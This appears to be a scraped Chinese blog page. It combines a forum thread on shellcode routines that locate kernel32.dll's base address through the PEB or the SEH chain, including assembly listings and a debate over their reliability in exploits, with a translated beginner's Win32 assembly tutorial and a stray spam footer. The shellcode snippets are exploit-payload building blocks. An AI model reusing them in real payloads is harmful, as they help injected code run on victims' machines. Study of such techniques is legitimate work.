eax,fs:[eax+30h]& test eax,eax& js @@os_9x@@os_nt:& mov eax,[eax+0ch]& mov esi,[eax+1ch]& lodsd& mov eax,[eax+8]& jmp @@finished@@os_9x:& mov eax,[eax+34h]& lea eax,[eax+7ch]& mov eax,[eax+3ch]@@finished:& mov [esp+pushad_eax],eax& popad& ret [Copy to clipboard] 第二种SEH.其实原理很简单~堆栈的最后几个节看看就知道了 CODE: GetK32baseSEH1:&& pushad&& sub eax, eax&& mov edi, fs:[eax]&& not eax&& mov ecx, eax&& repnz scasd&& scasd&& mov ebx, [edi]&& xor bx, bx@@Find:&& cmp word ptr[ebx], 'ZM'&& jz @@finished&& sub ebx, 10000h&& jmp @@Find@@finished:&& mov [esp+pushad_eax],ebx&& popad&& ret [Copy to clipboard] 3.另外一种写法: CODE: GetK32baseSEH2:&& pushad&& sub ecx, ecx&& mov esi, fs:[ecx]&& not ecx@@Find_SEH_Loop:&& lodsd&& cmp eax, ecx&& jne @@Find_SEH_Loop@@Find_SEH_Done:&& mov eax,[esi+4]@@Find_k32_Base:&& sub ax, ax&& cmp word ptr[eax], 'ZM'&& jz @@finished&& sub eax, 10000h&& jmp @@Find_k32_Base@@finished:&& mov [esp+pushad_eax],eax&& popad&& ret [Copy to clipboard] 以上代码~1:37字节,2.3:都是38字节ShellCode编写最大的特点的就是小~缩减字节很重要建议大家多学习少灌水~特别是一些哗众取宠的事情最好不要去作~谢谢~闪人~Goldsun 注意: SEH 方法在程序初始环境下可行,但在shellcode中不通用,因为触发时,SEH也许还会指向宿主exe或其它模块,并不一定都指向Kernel32.dll中。Anskya QUOTE:引用第3楼Goldsun于 09:45发表的“”:注意: SEH 方法在程序初始环境下可行,但在shellcode中不通用,因为触发时,SEH也许还会指向宿主exe或其它模块,并不一定都指向Kernel32.dll中。 不好意思~SEH方法完全可行..因为取的不是相对偏移值类似ESP定律..0x12FFC4当然不一定非要是这个数值..(虽然是不同的壳不同的基址但是有些壳必定是这个值)我这里取的是栈顶的几个值~SEH最后的数值虽然说不见得非要是FFFFFFFF您还是参考一下Hume的&SEH in ASM 研究&看看&Windows 32位下汇编语言程序设计&也可以我也不多说废话了,自己实验一下就知道了Goldsun 我当然是测试后才说的话。我的意思是说你取的是seh链中是取最低内存值的,在exploit中,某个eip处,最近的seh就不一定是kernel32.dll的处理过程了,相应的就会取错,不然你自己试试。 如果你直接在栈初始化状态的话,那肯定没问题. QUOTE: 0012FFC4&& 7C816D4F RETURN to kernel32.7C816D4F0012FFC8&& 7C930738 ntdll.7C9307380012FFCC&& FFFFFFFF0012FFD0&& 7FFD50000012FFD4&& 0012FFD8&& 0012FFC80012FFDC&& 81B640200012FFE0&& FFFFFFFF End of SEH chain0012FFE4&& 7C8399F3 SE handler&& Goldsun 当然,你自己完整shellcode执行没问题,但这样取的话在exploit是不通用的,碰壁是当然的.目前只有从PEB取是合理的,通用的。 Anskya SEH的很少用~因为感觉他速度太慢~(搜索的时间太长)这个没有作过多的测试..不过一般的情况下不会出什么问题的不过看过许多高手都是使用SEH搜索的也没有作过多测试...lion的一些代码也是使用SEH的~... 一般我在直接整体注入ShellCode的时候不会出现这种问题如果异常处理是由程序自身实现的话这个不太清楚~~对SEH也是一知半解的谢谢提醒posted @
10:57 U2U 阅读(801) 评论(0)
编辑[Asm] Win32Asm教程(基础篇一)&使用等),而不是汇编语言本身,例如伪代码(opcodes),寄存器(registers)的使用等。虽然你能在其他教程中找到这些内容,但那些教程通常是解释Dos编程的。它当然可以帮你学习汇编语言,但在Windows中编程,你不再需要了解 Dos中断(interrupt)和端口(port)In/Out函数。在Windows中,WindowsAPI提供了你可在你的程序中使用的标准函数,后面还会对此有更多内容。这份教程的目的是在解释用汇编编Win32程序的同时学习汇编语言本身。 1.0-介绍汇编语言汇编语言是创造出来代替原始的只能由处理器理解的二进制代码的。很久以前,尚没有任何高级语言,程序都是用汇编写的。汇编代码直接描述处理器可以执行的代码,例如: add eax,edx add 这条指令把两个值加到一起。eax和edx被称为寄存器,它们可以在处理器内部保存值。这条代码被转换为66 03 c2(16进制)。处理器阅读这行代码,并执行它所代表的指令。像C这样的高级语言把它们自己的语言翻译为汇编语言,而汇编器又把它转换为二进制代码: C 代码a = a + && C编译器 && 汇编语言add eax, edx &&汇编器&& 原始输出(十六进制)66 03 C2 (注意该处的汇编语言的代码被简化了,实际输出决定于C代码的上下文) 1.1-为什么?(Why?)既然用汇编写程序很困难,那么为什么你用A汇编而不是C或者别的什么??-汇编产生的程序更小而且更快。在像如有人工智能一般的非常高级编程语言中,编译器要产生输出代码比起汇编来更困难。虽然编译器变得越来越好,编译器仍然必须指出最快(或最小)的方式产生汇编代码。而且,你自己来写(汇编)代码(包括可选的代码优化)能生成更小更快的代码。但是,当然,这比使用高级语言难多了。还有另一个与某些使用运行时dll的高级语言不同的地方,它们在大多数时运行良好,但有时由于dll(dll hell)而产生问题,用户总是要安装这些Dll。对于Visual C++,这不是一个问题,它们是与Windows一同安装的。而Visual Basic甚至不把自己的语言转换为汇编语言(虽然5以及更高的版本进行了一些这样的转换,但不完全)。它高度依赖msvbvm50.dll- Visual Baisc虚拟机。由VB产生的exe文件仅仅存在简单的代码和许多对这些dll的调用。这就是vb慢的原因。汇编是所有中最快的。它仅仅用系统的dll 如Kernel32.dll, User32.dll等。 译者注:dll hell是指由于dll新的版本被旧的版本给代替了。由于使用了dll新版本的程序仍然调用新的函数,导致了致命的错误。 另一个误解是许多人认为汇编不可能用来编程。当然,它难,但不是不可能。用汇编创建大的工程的确很难,我只是用它来写小程序,用于需要速度的代码被写在能被其他语言导入的dll中。而且,Dos和Windows还有一个很大的区别。Dos程序把中断当“函数”用。像中断10用于显示,中断13用于文件存储等。在Windows中,API函数只有名字(比如MessageBox, CreateWindowsEx)。你能导入库(DLL)并使用其中的函数。这使得用asm写程序简单多了。你将在下一章中学习更多关于这方面的知识。 2.0-开始前的准备介绍已经够多了,现在让我们开始吧。要用汇编写程序,你需要一些工具。下面,你能看到我将在本教程中使用哪些工具。我建议你安装同样的工具,因为这样你能跟着教程试验文中的例子。我也给出其他的一些选择,虽然其中的大部分你都可以选择,但是要警告的是在汇编器(masm,tasm和nasm)中有很大的区别。在这个教程中,将使用masm,因为它有许多很有用的功能(例如invoke),它使得编程更容易。当然,你可以自己选择你更喜欢的汇编器,但这将使你跟着教程走难一些而且你不得不把教程中的例子进行转换使它可以在你用的汇编器中运行。 汇编器 我的选择:Masm(在win32asm包中) 网址:win32asm.cjb.net 描述:一个把伪代码(opcodes)翻译为给处理器读的原始输出(object文件)的汇编器 相关内容:Masm,宏(macro)汇编器,是一个有很多有用的特色的汇编器。像“invoke”,它可以简化对API函数的调用并对数据类型进行检查。你将在本教程的后面学习这些。如果你读了上面的文字你就知道本教程推荐使用masm。 供选择:Tasm[dl],nasm[dl] 链接器 我的选择:微软Incremental链接器(link.exe) 网址:win32asm.cjb.net(在win32asm包中) 描述:链接器把目标(object)文件和库文件(用于导入DLL中的函数)“链接”到一起输出最终的可执行文件。 关于:我用Iczelion的Win32asm包中的link.exe。但大多数的链接器都可以用。 供选择:Tasm linker[dl] 资源编辑器 我的选择:Borland Resource Workshop 网址:www.crackstore.com 描述:用于创建资源(图形,对话框,位图,菜单等)的资源编辑器。 关于:大多数的编辑器都行。我个人爱好是resource workshop但你可以用你喜欢的。注意由于resource workshop创建的资源文件有时给资源编译带来麻烦,如果你想使用这个编辑器,你应当把tasm一起下下来,他里面包含了用于编译borland式资源的brc32.exe。 供选择:Symantec资源编辑器,Resource Builder等等 文本编辑器 我的选择:ultraedit 网址:www.ultraedit.com 描述:一个文本编辑器需要说明吗? 关于:文本编辑器的选择是十分个性化的。我非常喜欢ultraedit。你可以下载我为ultraedit写的语法文件,它可以使汇编代码语法高亮。但至少,选一个支持语法高亮的文本编辑器(关键字会自动标色)。这非常有用而且它使你的代码更容易读和写。Ultraedit还有一个可以使你在代码中快速跳转到某一个函数的函数列表。 供选择:数百万的文本编辑器中的一个 参考手册 我的选择:win32程序员参考手册 网址:www.crackstore.com(或搜索互联网) 描述:你需要参考一些API函数的用法。最重要的是“win32程序员参考手册”(win32.hlp)。这是个大文件,大约24mb(一些版本是 12mb,但不全)。在这个文件中,对所有系统dll的函数(kernel,user,gdi,shell等)都做了说明。你至少需要这个文件,其他的参考(sock2.hlp, mmedia.hlp, ole.hlp等)也是有帮助的但不一定需要。 供选择:N/A (译者注:该教程写成较早,现在有极好的MSDN供选择) 2.1-安装工具现在你已经得到这些工具了,把它们安装到你硬盘的某个角落吧。这有几个值得注意的地方: 把masm包安装到你打算写汇编源程序的那个分区。这保证了包含文件路径的正确性。把masm(和tasm)的bin目录加到autoexec.bat的path中,并重新启动。 如果你用的是ultraedit,使用你可以在前面下载的语法文件并启用function-listview(函数列表视图)。 2.2-为你的源文件准备目录在某个地方创建一个win32文件夹(或其他你喜欢的名字),并为你创建的每一个工程创建一个子文件夹。 3.0-汇编基础知识这章将教你汇编语言的基础知识 3.1-伪代码(opcodes)汇编程序是用伪代码创建的。一个伪代码是一条处理器可以理解的指令。例如: ADD Add指令把两个数加到一起。大部分伪代码有参数 ADD eax, edx ADD有两个参数。在加法的情况下,一个源一个目标。它把源值加到目标值中,并把结果保存在目标中。参数有很多不同的类型:寄存器,内存地址,直接数值(immediate values)参见下文。 3.2-寄存器有几种大小的寄存器:8位,16位,32位(在MMX处理器中有更多)。在16位程序中,你仅能使用16位和8位的寄存器。在32位的程序中,你可以使用32位的寄存器。 一些寄存器是别的寄存器的一部分:例如,如果EAX保存了值EA7823BBh这里是其他寄存器的值。 EAX EA 78 23 BBAX EA 78 23 BBAH EA 78 23 BBAL EA 78 23 BB ax,ah,al是eax的一部分。eax是一个32位的寄存器(仅在386以上存在),ax包含了eax的低16位(2字节),ah包含了ax的高字节,而al包含了ax的低字节。因而ax是16位的,al和ax是8位的。在上面的例子中,这些是那些寄存器的值: eax = EA7823BB (32-bit)ax = 23BB (16-bit)ah = 23 (8-bit)al = BB (8-bit) 使用寄存器的例子(不要管那些伪代码,只看寄存器的说明) mov eax, h;Mov把一个值载入寄存器(注意:h是一个十六进制值,因为h这个后缀。 mov cl, ah;把ax的高字节移入cl sub cl, 10;从cl的值中减去10(十进制) mov al, cl;并把cl存入eax的最低字节 让我们来分析上面的代码: mov指令可以把一个值从寄存器,内存和直接数值移入另一个寄存器。在上面的例子中,eax包含了h,然后ah的值(eax左数第三个字节)被复制入了cl中(ecx寄存器的最低字节)。然后,cl减10并移回al中(eax的最低字节) 寄存器的不同类型: 全功能(General Purpose) 这些32位(它们的组成部分为16/8位)寄存器可以用来做任何事情: eax (ax/ah/al) 加法器ebx (bx/bh/bl) 基(base)ecx (cx/ch/cl) 计数器edx (dx/dh/dl) 数据 虽然它们有名字,但是你可以用它们做任何事。 段(Segment)寄存器 段寄存器定义了哪一段内存被使用。你可能在win32asm中用不着它们,因为windows有一个平坦(flat)的内存系统。在Dos中,内存被分为 64kb的段,因而如果你想要定一个内存地址。你指定一个段,并用一个offset(偏移址)(像(segment: offset))。在windows中,段有4GB的大小,所以你在Windows中不需要段。段总是16位寄存器。 CS 代码段DS 数据段SS 栈段ES 扩展段FS (only 286+) 全功能段GS (only 386+) 全功能段 指针寄存器 实际上,你可以把指针寄存器当作全功能寄存器来使用(除了eip),只要你保存并恢复它们的原始值。指针寄存器之所以这么叫是因为它们经常被用来存储内存地址。一些伪代码(movb,scasb等)也要用它们。 esi (si) 源索引edi (di) 目标索引eip (ip) 指令指针 eip(在16位编程中为ip)包含了指向处理器将要执行的下一条指令的指针。因而你不能把eip当作全功能寄存器来用。 栈寄存器 有2个栈寄存器:esp和ebp。esp装有内存中当前栈的位置(在下章中,对此有更多的内容)。Ebp在函数中被用成指向局部变量的指针。 esp (sp) 栈指针ebp (bp) 基(base)指针 4.0-内存这部分将解释在Windows中内存是如何被管理的。 4.1-Dos和Win3.xx在运行于Dos和Win3.xx的16位程序中,内存被分成许多个段。这些段的大小为64kb。为了存储内存,需要一个段指针和一个偏移址指针。段指针标明要使用的是哪个段,offset(偏移址)指针标明在段位置。看下图: 内存段 1 (64kb) 段 2 (64kb) 段 3 (64kb) 段 4(64kb) 更多 注意下面关于16位程序的解释,后面有更多关于32位的内容(但不要跳过这部分,要理解32位的内存管理,这部分很重要)上表是全部的内存,被划分成了多个64kb的段。最多有65536个段。现在取出一段: 段 1(64kb)Offset 1 Offset 2 Offset 3 Offset 4 Offset 5 更多 为了指向段中的位置,需要使用offset。一个offset是段内部的一个位置。每个段最多有65536个offset。内存中地址的记法是: SEGMENT:OFFSET 例如: (均为16进制) 它的意思是:段30,offset4012。为了查看那个地址中有什么。你先要到段30,然后到该段的offset4012。在前一章中,你已经学过了段和指针寄存器。例如,段寄存器有: CS 代码段DS 数据段SS 栈段ES 扩展段FS (only 286+) 全功能段GS (only 386+) 全功能段 顾名思义:代码段(CS)包括了当前的代码执行到了哪部分。数据段是用来标明在哪段中取出数据。栈指栈段(后面有更多)。ES,FS, GS是全功能的寄存器,并且可以用于任何段(虽然在Windows中不是如此)。 指针寄存器大多数时装有offset,但全功能寄存器(ax, bx, cx, dx等)也可以这么用。IP标明当前指令执行到了哪个offset。Sp保存了当前栈的在ss(栈段中)的offset。 4.2-32位Windows你可能已经注意到了关于段的一切是乏味的。在16位编程中,段是必不可少的。幸运的是,这个问题已经在32位Windows(95及以上)中得到解决。你仍然有段,但不用管他们了因为它们不再是64kb,而是4GB。你如果尝试着改变段寄存器中的一个,windows甚至会崩溃。这称为平坦(flat)内存模式。只有offset,而且是32位的,因而范围从0到4,294,967,295。内存中的每一个地址都是用offset表示的。这真是32位胜于 16位的最大优点。所以,你现在可以忘了段寄存器并把精神集中在其他的寄存器上。 5.0-伪代码伪代码是给处理器的指令,它实际上是原始十六进制代码的可读版。因此,汇编是最低级的编程语言。汇编中的所有东西被直接翻译为十六进制码。换句话说,你没有把高级语言翻译为低级语言的编译器上的烦恼,汇编器仅仅把汇编代码转化为原始数据。 本章将讨论一些用来运算,位操作等的伪代码。还有跳转指令,比较等伪代码在后面介绍。 5.1-一些基本的计算伪代码MOV 这条指令用来把一个地方移往(事实上是复制到)另一个地方。这个地方可以是寄存器,内存地址或是直接数值(当然只能作为源值)。Mov指令的语法是: mov 目标,源 你可把一个寄存器移往另一个(注意指令是在复制那个值到目标中,尽管“mov”这个名字是移的意思) mov edx, ecx 上面的这条指令把ecx的内容复制到了ecx中,源和目标的大小应该一致。例如这个指令是非法的: mov al,非法 这条伪代码试图把一个DWORD(32位)值装入一个字节(8位)的寄存器中。这不能个由mov指令来完成(有其他的指令干这事)。但这些指令是允许的因为源和目标在大小上并没有什么不同: mov al, blmov cl, dlmov cx, dxmov ecx, ebx 内存地址由offset指示(在win32中,前一章中有更多信息)你也能从地址的某一个地方获得一个值并把它放入一个寄存器中。下面有一个例子: offset 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42data 0D 0A 50 32 44 57 25 7A 5E 72 EF 7D FF AD C7 每一个块代表一个字节 offset 的值这里是用字节的形式表示的,但它事实上是32位的值,比如3A(这不是一个常见的offset的值,但如果不这样简写表格装不下),这也是一个32位的值:0000003Ah。只是为了节省空间,使用了一些不常见的低位offset。所有的值均为16进制。 看上表的offset 3A。那个offset的数据是25, 7A, 5E, 72, EF等。例如,要把这个位于3A的值用mov放入寄存器中: mov eax, dword ptr[0000003Ah] (h后缀表明这是一个十六进制值) mov eax, dword ptr[0000003Ah]这条指令的意思是:把位于内存地址3A的DWORD大小的值放入eax寄存器。执行了这条指令后,eax包含了值 725E7A25h。可能你注意到了这是在内存中时的反转结果:25 7A 5E 72。这是因为存储在内存中的值使用了little endian格式。这意味着越靠右的字节位数越高:字节顺序被反转了。我想一些例子可以使你把这个搞清楚。 十六进制dword(32位)值放在内存中时是这样:40, 30, 20, 10(每个值占一个字节(8位)) 十六进制word(16位)值放在内存中时是这样:50, 40 回到前面的例子。你也可以对其他大小的值这么做: mov cl, byte ptr [34h] ; cl得到值0Dh(参考上表) mov dx, word ptr [3Eh] ; dx将得到值 7DEFh (看上表,记住反序) 大小有时不是必须的。 Mov eax,[h] 因为eax是32位寄存器,编译器假定(也只能这么做)它应该从地址403045(十六进制)取个32位的值。 可以直接使用数值: mov edx, 5006 这只是使得edx寄存器装有值5006,综括号[和]用来从括号间的内存地址处取值,没有括号就只是这个值。寄存器和内存地址也可以(他应该是32位程序中的32位寄存器): mov eax,403045h;使eax装有值403045h(十六进制) mov cx,[eax];把位于内存地址eax的word大小的值(403045)移入cx寄存器。 在mov cx, [eax]中,处理器会先查看eax装有什么值(=内存地址),然后在那个内存地址中有什么值,并把这个word(16位,因为目标-cx-是个16位寄存器)移入cx。 ADD, SUB, MUL, DIV 许多伪代码做计算工作。你可以猜出它们中的大多数的名字:add(加),sub(减),mul(乘),div}

我要回帖

更多关于 cao榴社区2018入口 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信